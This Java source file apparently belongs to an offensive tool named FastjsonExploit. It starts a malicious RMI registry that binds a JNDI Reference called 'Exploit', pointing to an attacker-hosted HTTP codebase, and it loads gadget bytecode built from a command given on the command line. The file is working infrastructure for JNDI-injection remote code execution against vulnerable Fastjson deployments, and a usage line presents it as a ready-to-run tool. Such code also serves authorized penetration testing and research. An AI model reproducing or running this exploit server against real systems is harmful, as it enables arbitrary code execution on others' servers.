package server;
import gadget.Gadget;
import util.Common;
import util.Util;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    /***
     * 启动RMI服务
     *
     * @throws Exception
     */
    public static void lanuchRMIregister(Integer rmi_port, String callback_http_host, Integer http_port) throws Exception {
        Registry registry = LocateRegistry.createRegistry(rmi_port);

        String remote_class_server = "http://"+callback_http_host+":"+http_port.toString()+"/";

        Reference ref = new Reference("Exploit", "Exploit", remote_class_server);


        // Reference包装类
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println(String.format("[*] RMI server listening on: 0.0.0.0:%d (rmi://%s:%d/Exploit)",rmi_port,callback_http_host,rmi_port));
        //System.out.println(referenceWrapper.getReference());
    }

    public static void main(String[] args) throws Exception {

        if(args.length != 3){
            System.out.println("Usage: java -cp FastjsonExploit-<version>.jar server.RMIServer ldap_host ldap_port [cmd/code]");
            System.exit(0);
        }

        Common.byteCode = Gadget.getJndiDataSourceFactory1ExpCode(args[2]);

        String server_ip = args[0];
        Integer rmi_port = Integer.valueOf(args[1]);
        int http_port = Util.getUnusePort(server_ip);

        CodebaseServer.lanuchCodebaseURLServer(server_ip, http_port);
        lanuchRMIregister(rmi_port, server_ip, http_port);
    }
}